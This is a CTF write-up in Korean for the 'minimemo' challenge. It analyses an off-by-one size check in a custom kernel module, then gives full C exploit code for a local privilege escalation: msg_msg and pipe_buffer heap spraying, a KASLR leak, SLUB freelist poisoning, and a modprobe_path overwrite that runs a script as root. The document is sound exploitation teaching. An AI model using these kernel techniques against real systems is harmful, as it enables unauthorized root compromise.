minimemo
취약점 분석
1. CMD_EDIT의 잘못된 크기 검사로 인한 1~3바이트 힙 오버플로
note_t 전체 크기는 id 4바이트와 data 20바이트를 합쳐 24바이트이다. 그러나 실제 복사 대상은 20바이트인 note.data이다.
module_ioctl()의 CMD_EDIT 처리에서는 req.size를 sizeof(note_t)와 비교한다. 따라서 21~23바이트의 복사가 허용되고, note.data 바로 뒤의 notelist_t.fd가 최대 3바이트까지 덮인다.
#define NOTE_SIZE sizeof(note_t)
typedef struct {
int id;
char data[20];
} note_t;
typedef struct notelist_t {
note_t note;
struct notelist_t *fd;
struct notelist_t *bk;
} notelist_t;
/* CMD_EDIT */
if (req.size < 0 || req.size >= NOTE_SIZE)
break;
memcpy(cur->note.data, req.data, req.size);올바른 검사는 req.size > sizeof(cur->note.data)인지 확인해야 한다.
if (req.size < 0 || req.size > sizeof(cur->note.data))
break;2. request.id를 이용한 fd 포인터의 하위 1바이트 변조
request_t에서는 data[20] 바로 뒤에 id가 있다. 반면 notelist_t에서는 note.data[20] 바로 뒤에 fd가 있다.
typedef struct {
char data[20]; /* +0x00 */
int id; /* +0x14 */
int size; /* +0x18 */
} request_t;
typedef struct notelist_t {
int id; /* +0x00 */
char data[20]; /* +0x04 */
struct notelist_t *fd; /* +0x18 */
struct notelist_t *bk; /* +0x20 */
} notelist_t;req.size == 21이면 다음과 같이 21번째 바이트가 복사된다.
source: req.data[20] == request.id의 최하위 바이트
destination: note.data[20] == notelist_t.fd의 최하위 바이트결과적으로 fd는 다음 형태로 변조된다.
new_fd = (old_fd & ~0xffUL) | (req.id & 0xff);CMD_EDIT는 연결 리스트를 cur = cur->fd로 순회한다. 따라서 fd를 다른 kmalloc-64 객체 내부로 이동시키면 그 메모리를 가짜 notelist_t로 해석하게 만들 수 있다.
이 익스플로잇에서는 ID의 하위 바이트가 0xd4인 메모를 찾는다. kmalloc-64 객체가 ...c0에서 시작할 경우 msg_msg + 0x14의 주소가 ...d4가 되기 때문이다.
msg_msg 시작 주소: ...c0
가짜 note 주소: ...d4 = msg_msg + 0x14이는 0xd4 자체가 고정된 취약점 조건이라는 뜻은 아니다. 목표로 삼은 msg_msg + 0x14 주소의 하위 바이트가 0xd4이므로 선택한 값이다.
Exploit 과정
Step 1: kmalloc-64 힙 배치와 메모 ID 선택
notelist_t의 크기는 0x28이므로 kmalloc-64에서 할당된다. 작은 메시지를 담는 msg_msg와 한 슬롯짜리 pipe_buffer 배열도 같은 캐시에서 할당되도록 크기를 맞춘다.
먼저 메시지 큐 네 개를 만들고, ID 하위 바이트가 0xd4인 메모가 나올 때까지 할당한다. 선택된 메모에 21바이트를 쓰면 fd의 최하위 바이트가 0xd4로 바뀐다.
uint64_t qid[4] = {0};
for (int i = 0; i < 4; i++)
qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
char payload[0x14] = {0x41};
int id;
while (1) {
id = create_memo();
if (id && (id & 0xff) == 0xd4) {
edit_memo(id, payload, 0x15);
break;
}
}선택되지 않은 메모를 삭제하지 않는 이유는 fd의 상위 7바이트가 가리키는 힙 영역을 유지하고, 이후 할당이 같은 kmalloc-64 슬랩에 연속적으로 배치될 가능성을 높이기 위해서다. 중간 객체를 삭제하면 freelist 재사용으로 배치가 달라질 수 있다.
Step 2: msg_msg + 0x14를 가짜 notelist_t로 사용
사용한 메시지의 실제 텍스트 길이는 0x10이다. struct msg_msg 헤더 0x30바이트를 포함하면 총 크기가 0x40이므로 kmalloc-64 객체 하나에 들어간다.
struct msg_buf {
long mtype;
char mtext[0x40 - 0x30];
};
struct msg_buf msg = {0};
msg.mtype = 1;
memset(msg.mtext, 0x42, sizeof(msg.mtext));
for (int i = 0; i < 4; i++)
msgsnd(qid[i], &msg, sizeof(msg.mtext), 0);64비트 커널의 msg_msg 배치는 다음과 같다.
+0x00 struct list_head m_list
+0x10 long m_type
+0x18 size_t m_ts
+0x20 struct msg_msg *next
+0x28 void *security
+0x30 message textmsg_msg + 0x14를 notelist_t로 해석하면 다음 필드가 겹친다.
fake note.id = msg_msg.m_type의 상위 4바이트 = 0
fake note.data = msg_msg + 0x18
fake note.data[0:8] = msg_msg.m_ts따라서 edit_memo(0, payload, 8)은 가짜 메모를 찾아 m_ts를 0x100으로 변경한다.
memset(payload, 0, sizeof(payload));
*(uint64_t *)payload = 0x100;
edit_memo(0, payload, 0x8);Step 3: pipe_buffer 스프레이
파이프 크기를 한 페이지로 설정하면 한 개의 pipe_buffer를 담는 배열이 만들어진다. 이 환경의 struct pipe_buffer 크기는 0x28이므로 배열도 kmalloc-64에서 할당된다.
int pipefd[4][2];
for (int i = 0; i < 4; i++) {
pipe(pipefd[i]);
fcntl(pipefd[i][1], F_SETPIPE_SZ, 0x1000);
write(pipefd[i][1], "CCCC", 4);
}파이프에 데이터를 쓰면 pipe_buffer.ops에 커널 텍스트 영역의 anon_pipe_buf_ops 주소가 저장된다.
struct pipe_buffer {
struct page *page; /* +0x00 */
unsigned int offset, len; /* +0x08 */
const struct pipe_buf_operations *ops; /* +0x10 */
unsigned int flags; /* +0x18 */
unsigned long private; /* +0x20 */
};Step 4: 변조된 m_ts를 통한 OOB read와 KASLR 우회
정상 메시지의 길이는 0x10이지만 변조된 메시지는 길이가 0x100으로 인식된다. msgrcv()는 msg_msg.mtext부터 0x100바이트를 복사하므로, 메시지 객체 뒤에 놓인 다른 kmalloc-64 객체와 pipe_buffer까지 읽는다.
struct msg_recv_buf {
long mtype;
char mtext[0x100 + 0x30];
};
struct msg_recv_buf msg_recv = {0};
for (int i = 0; i < 4; i++) {
int ret = msgrcv(qid[i], &msg_recv,
sizeof(msg_recv.mtext), 0, 0);
if (ret != 0x10) {
hexdump(msg_recv.mtext, 0x100);
break;
}
}실행 결과에서 정상 큐는 16, 변조된 큐는 256을 반환했다.
[+] msgrcv ret: 16
[+] msgrcv ret: 256로컬 vmlinux 분석 결과 anon_pipe_buf_ops의 오프셋은 0xc10380이다. 유출 값의 하위 16비트가 0x0380인 커널 포인터를 찾아 커널 베이스를 계산한다.
uint64_t kbase = 0;
for (int i = 0; i < 0x100 / 8; i++) {
uint64_t value = *(uint64_t *)(msg_recv.mtext + i * 8);
if ((value & 0xffff) == 0x380) {
kbase = value - 0xc10380;
break;
}
}성공 로그에서는 다음 주소가 유출되었다.
anon_pipe_buf_ops = 0xffffffffb8610380
kernel base = 0xffffffffb7a00000modprobe_path의 정적 오프셋은 0xe367c0이므로 런타임 주소는 다음과 같다.
uint64_t modprobe_path = kbase + 0xe367c0;modprobe_path = 0xffffffffb88367c0Step 5: 해제된 msg_msg의 freelist 포인터 변조
msgrcv()가 성공한 메시지 객체는 이미 해제된다. 나머지 큐도 IPC_RMID로 제거하여 msg_msg 객체들을 kmalloc-64 freelist에 넣는다.
for (int i = 0; i < 4; i++)
msgctl(qid[i], IPC_RMID, NULL);이 커널에서 해제된 kmalloc-64 객체의 freelist 포인터는 객체의 +0x20에 저장된다.
가짜 메모는 해제된 msg_msg + 0x14에 남아 있다. 가짜 메모의 data는 msg_msg + 0x18부터 시작하므로 payload + 8은 정확히 해제 객체의 +0x20에 대응한다.
fake note 주소 = freed msg_msg + 0x14
fake note.data = freed msg_msg + 0x18
fake note.data + 8 = freed msg_msg + 0x20
SLUB freelist next = freed msg_msg + 0x20이를 이용해 다음 할당 후보를 modprobe_path - 8로 바꾼다.
memset(payload, 0, sizeof(payload));
*(uint64_t *)(payload + 0x00) = 0x100;
*(uint64_t *)(payload + 0x08) = modprobe_path - 8;
edit_memo(0, payload, 0x10);이 기법은 SLUB freelist hardening이 비활성화되어 freelist 포인터가 인코딩되지 않은 환경을 전제로 한다.
Step 6: modprobe_path 덮어쓰기
freelist 앞에 있는 객체들을 소비하면 note_new()가 조작된 주소 modprobe_path - 8을 반환한다.
notelist_t.note.data는 객체 시작으로부터 +4에 있다. 따라서 이 가짜 객체의 data는 modprobe_path - 4에서 시작한다.
할당 주소 = modprobe_path - 8
note.data 주소 = modprobe_path - 4
"AAAA" = 정렬용 패딩
"/tmp/ex\0" = modprobe_path에 기록for (int i = 0; i < 4; i++) {
id = create_memo();
edit_memo(id, "AAAA/tmp/ex\0", 0xc);
}성공 로그에서는 변조된 메시지가 두 번째 큐에 있었다. 해제 순서가 다음과 같아 네 번째 할당이 조작된 주소에 도달한다.
freelist head -> qid[3] -> qid[2] -> corrupted qid[1] -> modprobe_path - 8따라서 현재 네 번의 할당은 이 배치에 맞춘 값이다. 변조된 메시지 큐의 인덱스가 바뀌면 목표 주소까지 필요한 할당 횟수도 달라질 수 있어 현재 익스플로잇에는 확률 요소가 남아 있다.
Step 7: modprobe_path 실행과 플래그 획득
/tmp/ex에는 플래그를 읽는 셸 스크립트를 저장한다. 이후 알 수 없는 형식의 실행 파일 /tmp/dummy를 실행하면 커널의 모듈 자동 로드 경로가 사용되고, 변조된 modprobe_path인 /tmp/ex가 root 권한으로 실행된다.
system("echo -ne '#!/bin/sh\n"
"cat /root/flag.txt > /tmp/flag.txt' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /tmp/flag.txt");최종 실행 결과는 다음과 같다.
[+] overwrite modprobe_path with /tmp/ex success
/tmp/dummy: line 1: : not found
XXXX{sample_flag}/tmp/dummy 관련 셸 오류는 커널의 모듈 요청 이후 사용자 공간 셸이 실행을 다시 시도하면서 출력된 것이다. 그 전에 /tmp/ex가 root 권한으로 실행되어 플래그 파일은 이미 생성되었다.
Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define CMD_CREATE 0x11451401
#define CMD_EDIT 0x11451402
#define CMD_DELETE 0x11451403
struct object
{
uint32_t id;
uint8_t data[0x14];
struct object *next;
struct object *prev;
};
struct request
{
char data[0x14];
int32_t id;
int32_t len;
};
uint64_t fd;
int create_memo()
{
struct request req = {0};
return ioctl(fd, CMD_CREATE, &req);
}
void delete_memo(int id)
{
struct request req = {0};
req.id = id;
ioctl(fd, CMD_DELETE, &req);
}
int edit_memo(int id, char *data, int len)
{
struct request req = {0};
req.id = id;
req.len = len;
if (len > 0x14)
len = 0x14;
memcpy(req.data, data, len);
return ioctl(fd, CMD_EDIT, &req);
}
struct msg_buf
{
long mtype;
char mtext[0x40 - 0x30];
};
struct msg_recv_buf
{
long mtype;
char mtext[0x100 + 0x30];
};
int main()
{
important("happy hacking!");
// open /dev/memo
fd = open("/dev/memo", O_RDWR);
if (fd < 0)
{
important("open /dev/memo failed");
return -1;
}
info("open /dev/memo success, fd: %d", fd);
// prepare msg_msg struct for spraying
uint64_t qid[4] = {0};
for (int i = 0; i < 4; i++)
{
qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
info("msgget success");
// create memo until the id's last byte is 0xd4
struct request req = {0};
int id = 0;
char payload[0x14] = {0x41};
while (1)
{
id = create_memo();
if ((id && (id & 0xff) == 0xd4))
{
info("create memo success, id: 0x%x", id);
// 1 byte overflow to overwrite the memo->next pointer's one byte for making the next memo's id to be 0xd4
edit_memo(id, payload, 0x15);
break;
}
}
// spray msg_msg struct
struct msg_buf msg = {0};
msg.mtype = 1;
memset(msg.mtext, 0x42, sizeof(msg.mtext));
for (int i = 0; i < 4; i++)
{
msgsnd(qid[i], &msg, sizeof(msg.mtext), 0);
}
info("spray msg_msg struct success");
// spray pipe buffer
int fd[0x4][2];
for (int i = 0; i < 4; i++)
{
pipe(fd[i]);
fcntl(fd[i][1], F_SETPIPE_SZ, 0x1000);
write(fd[i][1], "CCCC", 4);
}
// change msg_msg's m_ts to 0x100
memset(payload, 0, sizeof(payload));
*(uint64_t *)payload = 0x100;
edit_memo(0, payload, 0x8);
// leak kernel address
struct msg_recv_buf msg_recv = {0};
for (int i = 0; i < 4; i++)
{
int ret = msgrcv(qid[i], &msg_recv, sizeof(msg_recv.mtext), 0, 0);
info("msgrcv ret: %d", ret);
if (ret != 0x10)
{
hexdump(msg_recv.mtext, 0x100);
break;
}
}
// calc kernel base address
uint64_t kbase, modprobe_path = 0;
for (int i = 0; i < 0x100 / 8; i++)
{
if ((*(uint64_t *)(msg_recv.mtext + i * 8) & 0xffff) == 0x380)
{
kbase = *(uint64_t *)(msg_recv.mtext + i * 8) - (0xffffffff81c10380 - 0xffffffff81000000);
info("kernel base: 0x%lx", kbase);
break;
}
}
modprobe_path = kbase + (0xffffffff9d4367c0 - 0xffffffff9c600000);
info("modprobe_path: 0x%lx", modprobe_path);
// free the msg_msg struct
for (int i = 0; i < 4; i++)
{
msgctl(qid[i], IPC_RMID, NULL);
}
info("free msg_msg struct success");
// modify freelist next pointer to modprobe_path -8
memset(payload, 0, sizeof(payload));
*(uint64_t *)(payload) = 0x100;
*(uint64_t *)(payload + 8) = modprobe_path - 8;
edit_memo(0, payload, 0x10);
info("modify freelist next pointer to modprobe_path - 8 success");
// create a new note to get a new memo object at modprobe_path -8
for (int i = 0; i < 4; i++)
{
id = create_memo();
edit_memo(id, "AAAA/tmp/ex\0", 0xc);
}
info("overwrite modprobe_path with /tmp/ex success");
// getchar();
// set up modprobe_path overwrite
system("echo -ne '#!/bin/sh\ncat /root/flag.txt > /tmp/flag.txt' > /tmp/ex");
system("chmod +x /tmp/ex");
// trigger modprobe_path
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /tmp/flag.txt");
return 0;
}